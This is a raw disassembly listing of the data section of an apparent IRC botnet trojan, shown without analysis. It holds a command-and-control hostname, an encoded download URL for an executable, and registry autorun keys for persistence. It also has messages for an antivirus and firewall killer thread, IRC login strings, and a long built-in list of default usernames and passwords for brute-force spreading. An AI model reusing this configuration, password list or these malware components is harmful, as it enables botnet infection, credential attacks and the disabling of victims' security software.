; DATA XREF: sub_422B62+5o dword_4278E0 dd 0FFFFFFFFh, 422D7Ch, 422D85h, 0 ; DATA XREF: sub_422D26+5o dword_4278F0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422DFC+5o dd offset loc_422E4D align 10h dd offset loc_422E39 dd offset loc_422E3D dword_427908 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422E52+5o dd offset loc_422EA3 align 8 dd offset loc_422E8F dd offset loc_422E93 dword_427920 dd 2 dup(0) ; DATA XREF: sub_4232A8+36o ; sub_4244F4+39o ... dword_427928 dd 0FFFFFFFFh, 4233B8h, 4233BCh, 0FFFFFFFFh, 42346Ch, 423470h ; DATA XREF: sub_4232A8+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43D4DCo db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o align 10h asc_427BF0 db 0Ah ; DATA XREF: sub_423DD1+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_423DD1+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do align 10h dword_427C30 dd 0FFFFFFFFh, 4245EDh, 4245F1h ; DATA XREF: sub_4244F4+5o aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do align 10h aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_425029+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_425029+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_425973:loc_425A68o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_425973+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_425973+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_425973+ADo align 4 dd offset dword_427DAC off_427C90 dd offset loc_4260E2 ; DATA XREF: sub_4260BA+8o ; sub_4260FE+2Co ... dd offset sub_4260D5 dd offset sub_4262F6 dd offset dword_427DF8 off_427CA0 dd offset sub_42614C ; DATA XREF: sub_4260FE+3Ao ; sub_426168o ... dd offset sub_4260D5 dd offset loc_426332 dword_427CAC dd 0 ; DATA XREF: sub_4260FE+16o ; sub_4261D0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426173+11o dd offset dword_427E44 off_427CCC dd offset sub_42625B ; DATA XREF: sub_426277o ; sub_42629A+37o ... dd offset sub_4260D5 dd offset loc_426314 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42629A+11o dd offset dword_427E88 off_427CEC dd offset loc_4264A5 ; DATA XREF: sub_426490o ; ___:off_43DAE4o ... dd offset dword_427EB8 off_427CF4 dd offset loc_4264C1 ; DATA XREF: sub_4264DD+8o ; sub_42651A+8o ... dd offset sub_42657A aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o align 10h dword_427D10 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_426587+Eo dd 3, 19930520h, 2 dup(0) dword_427D30 dd 0FFFFFFFFh, 426738h, 42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h ; DATA XREF: sub_426636+5o dword_427D48 dd 0FFFFFFFFh, 4269ADh, 4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh ; DATA XREF: sub_4268C1+5o dd 43DAE4h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427D78 dd offset off_43DAFC ; DATA XREF: ___:00427D90o ; ___:00427DDCo ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427D78 dd offset dword_427D48+18h dword_427D98 dd 3 dup(0) ; DATA XREF: ___:00427DBCo dd 2, 427D90h dword_427DAC dd 3 dup(0) ; DATA XREF: ___:00427C8Co dd offset off_43DAFC dd offset dword_427D98+4 off_427DC0 dd offset off_43DB1C ; DATA XREF: ___:00427DD8o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DC0 dd offset off_427D78 dd offset dword_427D48+18h dd 0 db 0 ; DATA XREF: ___:00427E08o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 427DD8h dword_427DF8 dd 3 dup(0) ; DATA XREF: ___:00427C9Co dd offset off_43DB1C dd offset unk_427DE8 off_427E0C dd offset off_43DB3C ; DATA XREF: ___:00427E24o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E0C dd offset off_427D78 dd offset dword_427D48+18h dword_427E30 dd 3 dup(0) ; DATA XREF: ___:00427E54o dd 3, 427E24h dword_427E44 dd 3 dup(0) ; DATA XREF: ___:00427CC8o dd offset off_43DB3C dd offset dword_427E30+4 off_427E58 dd offset off_43DB60 ; DATA XREF: ___:00427E70o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E58 dd 0 db 0 ; DATA XREF: ___:00427E98o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 427E70h dword_427E88 dd 3 dup(0) ; DATA XREF: ___:00427CE8o dd offset off_43DB60 dd offset unk_427E78 dd offset dword_427D48+18h dword_427EA0 dd 4 dup(0) ; DATA XREF: ___:00427EC8o dd 1, 427E9Ch dword_427EB8 dd 3 dup(0) ; DATA XREF: ___:00427CF0o dd offset off_43DAE4 dd offset dword_427EA0+8 align 10h dword_427ED0 dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF: ___:loc_426AA7o dd 0FFFFFFFFh, 426A90h, 0 dd offset sub_426A88 dword_427F00 dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF: ___:loc_426AC4o dd 0FFFFFFFFh, 426AB4h, 0 dd offset loc_426ABC dword_427F30 dd 19930520h, 2, 427F50h, 1, 427F60h, 3 dup(0) ; DATA XREF: ___:loc_426AD0o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427F78h, 4 dup(0) dd offset loc_40DA8E dd 0FFFFFFFFh, 426ADAh dword_427F90 dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF: ___:loc_426AE2o dd offset off_43DAE4 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 42651Ah, 0 dd offset off_43DAFC dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426218h, 0 dd offset off_43DB1C align 10h dd 0FFFFFFFFh, 0 dword_427FF8 dd 1Ch, 426282h, 3, 427FE4h, 427FC8h, 427FACh ; DATA XREF: ___:0042801Co dword_428010 dd 0 ; DATA XREF: sub_426173+2Eo ; sub_4262F6+4Bo dd offset sub_426168 dd 0 dd offset dword_427FF8+8 dd 0FFFFFFFFh, 426AECh dword_428028 dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF: ___:loc_426AF4o dd 0FFFFFFFFh, 426AFEh dword_42804C dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF: ___:loc_426B06o dd 0FFFFFFFFh, 426B10h dword_428070 dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF: ___:loc_426B18o dd offset off_43DB3C align 8 dd 0FFFFFFFFh, 0 dword_4280A0 dd 1Ch, 4262DEh, 3, 42808Ch, 427FC8h, 427FACh ; DATA XREF: ___:004280C4o dword_4280B8 dd 0 ; DATA XREF: sub_42629A+2Eo ; sub_4262F6+2Do dd offset sub_426277 dd 0 dd offset dword_4280A0+8 dd 0FFFFFFFFh, 426B22h dword_4280D0 dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF: ___:loc_426B2Ao dword_4280EC dd 2, 427FC8h, 427FACh ; DATA XREF: ___:00428104o dword_4280F8 dd 0 ; DATA XREF: sub_4262F6+Fo dd offset sub_4260BA dd 0 dd offset dword_4280EC dd 5 dup(5126D19Fh), 5 dup(35DBB204h), 75h dup(0) dd 35DBB204h, 15h dup(0) dd 5126D19Fh, 6 dup(0) dd 45560000h, 4F495352h, 6C642E4Eh, 6Ch, 31Eh dup(0) dword_429000 dd 0 ; DATA XREF: ___:0041C183o dd offset loc_401205 dd offset sub_40DB3C dd offset dword_40EF1C+1D0h dword_429010 dd 0 ; DATA XREF: ___:0041C17Eo dword_429014 dd 0 ; DATA XREF: ___:0041C174o dd offset sub_41DA32 dd offset sub_420B0D dd offset sub_42413E dd offset word_424F62 dword_429028 dd 0 ; DATA XREF: ___:loc_41C16Fo dword_42902C dd 0 ; DATA XREF: sub_41C1B3+65o dd offset sub_4241E3 dword_429034 dd 0 ; DATA XREF: sub_41C1B3:loc_41C213o dword_429038 dd 0 ; DATA XREF: sub_41C1B3+76o dd offset byte_424F73 dword_429040 dd 4 dup(0) ; DATA XREF: sub_41C1B3:loc_41C224o dword_429050 dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r ; ___:0040175Ar dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_4045D8r dword_429078 dd 45h ; DATA XREF: sub_401ACD+202Er ; sub_40BD91+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403BE9r ; sub_40BD91:loc_40C182r dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403D75r word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_4046FBr align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+643r dword_42908C dd 1 ; DATA XREF: ___:0040135Er dword_429090 dd 1 ; DATA XREF: ___:loc_401562r ; sub_4188A6+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A76r ; sub_401ACD+B30r ... align 4 dword_429098 dd 0Ah ; DATA XREF: sub_40AAAC+3Ar ; sub_40AAAC+60r ... dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r aSbrsfgf db 'sbrsfgf',0 ; DATA XREF: ___:0040127Eo ; sub_401ACD:loc_40445Do ... aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404902o align 4 aCool db 'cool',0 ; DATA XREF: sub_401ACD+7BCBo ; sub_401ACD+7C9Ao align 10h aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o ; ___:0040174Bo align 4 aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o ; ___:00401761o ... align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o ; ___:00401773o align 4 byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r ; ___:00401797o aCorti1_dns2go_ db 'corti1.dns2go.com',0 align 4 aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo align 10h aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo align 4 byte_429108 db 77h ; DATA XREF: ___:00401364o ; ___:00401388w ... db 69h, 6Eh, 64h dd 73767265h, 6578652Eh, 0 dd 6E6E6977h, 61622E74h, 74h aWindosSeresAgn db 'Windos Seres Agnts',0 ; DATA XREF: sub_401000+Eo align 4 asc_429138: ; DATA XREF: ___:0040AB2Bo unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7D1Do align 10h aF db '#f',0 ; DATA XREF: sub_401ACD+1E91o ; sub_401ACD+1EA2o ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_401ACD+72B4o ; sub_401ACD+730Co align 4 aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40EAo ; sub_401ACD+423Ao align 4 off_42915C dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4096EBo ; "*@admin.com" off_429160 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r ; sub_401ACD+7C3Ao ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 10h db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o ; sub_41A6EA+28o align 10h aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o ; sub_41A6EA+D4o align 4 dd 2 dup(1), 70747468h, 772F2F3Ah, 662E7777h, 77656572h dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h dd 652E6D79h, 6578h, 429938h, 429928h, 429918h, 42990Ch dd 429904h, 4298FCh, 4298F4h, 4298ECh, 4298E0h, 4298D8h dd 4298D0h, 4298C8h, 4298BCh, 4298B4h, 4298ACh, 4298A0h dd 42989Ch, 429894h, 429890h, 0 dd offset byte_43DB88 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_0 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer ; "server" dd offset aRoot ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 dword_4294CC dd 10h ; DATA XREF: sub_401ACD+AE0r ; sub_401ACD+B0Cr ... aIntranet db 'intranet',0 ; DATA XREF: ___:004294B8o align 4 aLan db 'lan',0 ; DATA XREF: ___:004294B0o aMain db 'main',0 ; DATA XREF: ___:004294ACo align 4 aWinpass db 'winpass',0 ; DATA XREF: ___:004294A8o aBlank db 'blank',0 ; DATA XREF: ___:004294A4o align 4 aOffice db 'office',0 ; DATA XREF: ___:004294A0o align 10h aControl db 'control',0 ; DATA XREF: ___:0042949Co aXp db 'xp',0 ; DATA XREF: ___:00429498o align 4 aNokia db 'nokia',0 ; DATA XREF: ___:00429494o align 4 aHp db 'hp',0 ; DATA XREF: ___:00429490o align 4 aSiemens db 'siemens',0 ; DATA XREF: ___:0042948Co aCompaq db 'compaq',0 ; DATA XREF: ___:00429488o align 4 aDell db 'dell',0 ; DATA XREF: ___:00429484o align 10h aCisco db 'cisco',0 ; DATA XREF: ___:00429480o align 4 aIbm db 'ibm',0 ; DATA XREF: ___:0042947Co aOrainstall db 'orainstall',0 ; DATA XREF: ___:00429474o align 4 aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: ___:00429470o align 4 aSql db 'sql',0 ; DATA XREF: ___:0042946Co aSa db 'sa',0 ; DATA XREF: ___:00429468o align 4 aDb1234 db 'db1234',0 ; DATA XREF: ___:00429464o align 4 aDb1 db 'db1',0 ; DATA XREF: ___:0042945Co aDatabasepasswo db 'databasepassword',0 ; DATA XREF: ___:00429458o align 4 aData db 'data',0 ; DATA XREF: ___:00429454o align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: ___:00429450o align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: ___:0042944Co align 4 aDbpass db 'dbpass',0 ; DATA XREF: ___:00429448o align 10h aAccess db 'access',0 ; DATA XREF: ___:00429444o align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: ___:0042943Co align 4 aDomainpass db 'domainpass',0 ; DATA XREF: ___:00429438o align 4 aDomain db 'domain',0 ; DATA XREF: ___:00429434o align 4 aHello db 'hello',0 ; DATA XREF: ___:00429430o align 4 aHell db 'hell',0 ; DATA XREF: ___:0042942Co align 4 aGod db 'god',0 ; DATA XREF: ___:00429428o aSex db 'sex',0 ; DATA XREF: ___:00429424o ; ___:off_438A68o aSlut db 'slut',0 ; DATA XREF: ___:00429420o align 4 aBitch db 'bitch',0 ; DATA XREF: ___:0042941Co align 4 aFuck db 'fuck',0 ; DATA XREF: ___:00429418o align 4 aExchange db 'exchange',0 ; DATA XREF: ___:00429414o align 4 aBackup db 'backup',0 ; DATA XREF: ___:00429410o align 10h aTechnical db 'technical',0 ; DATA XREF: ___:0042940Co align 4 aLoginpass db 'loginpass',0 ; DATA XREF: ___:00429408o align 4 aLogin db 'login',0 ; DATA XREF: ___:00429404o align 10h aMary db 'mary',0 ; DATA XREF: ___:00429400o align 4 aKatie db 'katie',0 ; DATA XREF: ___:004293FCo align 10h aKate db 'kate',0 ; DATA XREF: ___:004293F4o align 4 aGeorge db 'george',0 ; DATA XREF: ___:004293F0o align 10h aEric db 'eric',0 ; DATA XREF: ___:004293ECo align 4 aChris db 'chris',0 ; DATA XREF: ___:004293E8o align 10h aIan db 'ian',0 ; DATA XREF: ___:004293E4o aNeil db 'neil',0 ; DATA XREF: ___:004293E0o align 4 aLee db 'lee',0 ; DATA XREF: ___:004293DCo aBrian db 'brian',0 ; DATA XREF: ___:004293D8o align 4 aSusan db 'susan',0 ; DATA XREF: ___:004293D0o align 10h aSue db 'sue',0 ; DATA XREF: ___:004293CCo aSam db 'sam',0 ; DATA XREF: ___:004293C8o aLuke db 'luke',0 ; DATA XREF: ___:004293C4o align 10h aPeter db 'peter',0 ; DATA XREF: ___:004293C0o ; ___:004293D4o align 4 aJohn db 'john',0 ; DATA XREF: ___:004293BCo align 10h aMike db 'mike',0 ; DATA XREF: ___:004293B8o align 4 aBill db 'bill',0 ; DATA XREF: ___:004293B4o align 10h aFred db 'fred',0 ; DATA XREF: ___:004293B0o align 4 aJoe db 'joe',0 ; DATA XREF: ___:004293ACo aJen db 'jen',0 ; DATA XREF: ___:004293A8o aBob db 'bob',0 ; DATA XREF: ___:004293A4o ; ___:004293F8o aQwe db 'qwe',0 ; DATA XREF: ___:004293A0o aZxc db 'zxc',0 ; DATA XREF: ___:0042939Co aAsd db 'asd',0 ; DATA XREF: ___:00429398o aQaz db 'qaz',0 ; DATA XREF: ___:00429394o aWin2000 db 'win2000',0 ; DATA XREF: ___:00429390o aWinnt db 'winnt',0 ; DATA XREF: ___:0042938Co align 4 aWinxp db 'winxp',0 ; DATA XREF: ___:00429388o align 4 aWin2k db 'win2k',0 ; DATA XREF: ___:00429384o align 4 aWin98 db 'win98',0 ; DATA XREF: ___:00429380o align 4 aWindows db 'windows',0 ; DATA XREF: ___:0042937Co aOeminstall db 'oeminstall',0 ; DATA XREF: ___:00429378o align 10h aOemuser db 'oemuser',0 ; DATA XREF: ___:00429374o aOem db 'oem',0 ; DATA XREF: ___:00429370o aUser db 'user',0 ; DATA XREF: sub_401ACD+45CFo ; ___:0042936Co align 4 aHomeuser db 'homeuser',0 ; DATA XREF: ___:00429368o align 10h aHome db 'home',0 ; DATA XREF: ___:00429364o align 4 aAccounting db 'accounting',0 ; DATA XREF: ___:00429360o align 4 aAccounts db 'accounts',0 ; DATA XREF: ___:0042935Co align 10h aInternet db 'internet',0 ; DATA XREF: ___:00429358o ; ___:004294B4o align 4 aWww db 'www',0 ; DATA XREF: ___:00429354o aWeb db 'web',0 ; DATA XREF: sub_401ACD+7283o ; ___:00429350o aOutlook db 'outlook',0 ; DATA XREF: ___:0042934Co aMail db 'mail',0 ; DATA XREF: ___:00429348o align 4 aQwerty db 'qwerty',0 ; DATA XREF: ___:00429344o align 4 aNull_1 db 'null',0 ; DATA XREF: ___:00429340o align 4 aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Bo ; ___:00429338o align 4 aSystem db 'system',0 ; DATA XREF: ___:00429334o align 4 aChangeme db 'changeme',0 ; DATA XREF: ___:0042932Co align 10h aLinux db 'linux',0 ; DATA XREF: ___:00429328o align 4 aUnix db 'unix',0 ; DATA XREF: ___:00429324o align 10h aDemo db 'demo',0 ; DATA XREF: ___:00429320o align 4 aNone db 'none',0 ; DATA XREF: ___:0042931Co align 10h aTest db 'test',0 ; DATA XREF: ___:00429314o align 4 a2004 db '2004',0 ; DATA XREF: ___:00429310o align 10h a2003 db '2003',0 ; DATA XREF: sub_41AF8F+BAo ; ___:0042930Co align 4 a2002 db '2002',0 ; DATA XREF: ___:00429308o align 10h a2001 db '2001',0 ; DATA XREF: ___:00429304o align 4 a2000 db '2000',0 ; DATA XREF: ___:00429300o align 10h a1234567890 db '1234567890',0 ; DATA XREF: ___:004292FCo align 4 a123456789 db '123456789',0 ; DATA XREF: ___:004292F8o align 4 a12345678 db '12345678',0 ; DATA XREF: ___:004292F4o align 4 a1234567 db '1234567',0 ; DATA XREF: ___:004292F0o a123456 db '123456',0 ; DATA XREF: ___:004292ECo align 4 a12345 db '12345',0 ; DATA XREF: ___:004292E8o align 4 a1234 db '1234',0 ; DATA XREF: ___:004292E4o align 4 a123 db '123',0 ; DATA XREF: ___:004292E0o a12 db '12',0 ; DATA XREF: ___:004292DCo align 4 a1: ; DATA XREF: ___:0040AFC7o ; ___:004292D8o unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: ___:004292D4o aPwd db 'pwd',0 ; DATA XREF: ___:004292D0o aPass db 'pass',0 ; DATA XREF: ___:004292CCo align 10h aPass1234 db 'pass1234',0 ; DATA XREF: ___:004292C8o align 4 aPasswd db 'passwd',0 ; DATA XREF: ___:004292C4o align 4 aPassword db 'password',0 ; DATA XREF: ___:004292C0o align 10h aPassword1 db 'password1',0 ; DATA XREF: ___:004292BCo align 4 aAdm db 'adm',0 ; DATA XREF: ___:004292B8o aDb2 db 'db2',0 ; DATA XREF: ___:00429460o aOracle db 'oracle',0 ; DATA XREF: ___:00429478o align 4 aDba db 'dba',0 aDatabase db 'database',0 ; DATA XREF: ___:00429440o align 4 aDefault db 'default',0 ; DATA XREF: ___:00429330o aGuest_0 db 'guest',0 ; DATA XREF: ___:00429318o align 4 aWwwadmin db 'wwwadmin',0 align 4 aTeacher db 'teacher',0 ; DATA XREF: ___:004294C0o aStudent db 'student',0 ; DATA XREF: ___:004294BCo aOwner db 'owner',0 align 10h aComputer db 'computer',0 align 4 aRoot db 'root',0 ; DATA XREF: ___:0042933Co align 4 aStaff db 'staff',0 ; DATA XREF: ___:004294C4o align 4 aAdmin db 'admin',0 ; DATA XREF: ___:004292B4o align 4 aAdmins db 'admins',0 ; DATA XREF: ___:004292B0o align 4 aAdministrat db 'administrat',0 ; DATA XREF: ___:004292ACo aAdministrateur db 'administrateur',0 ; DATA XREF: ___:004292A8o align 4 aAdministrador db 'administrador',0 ; DATA XREF: ___:004292A4o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:004292A0o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429164o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429160o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_42915Co dword_4299D4 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_429A08 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o aServerRunningO db '- Server running on Port: 113.',0 align 4 unk_429A34 db 2Dh ; - ; DATA XREF: ___:00401614o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 4 unk_429A74 db 2Dh ; - ; DATA XREF: ___:004015C3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_429A98 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00401585o dd 2E646574h, 0 dword_429AB4 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o dword_429AC0 dd 255C7325h, 73h ; DATA XREF: ___:004013AAo dword_429AC8 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo ; sub_4100B4+EAo ... unk_429AD0 db 3 ; DATA XREF: sub_4017ED+F2o a81VrxConnected db '8,1-VrX- Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 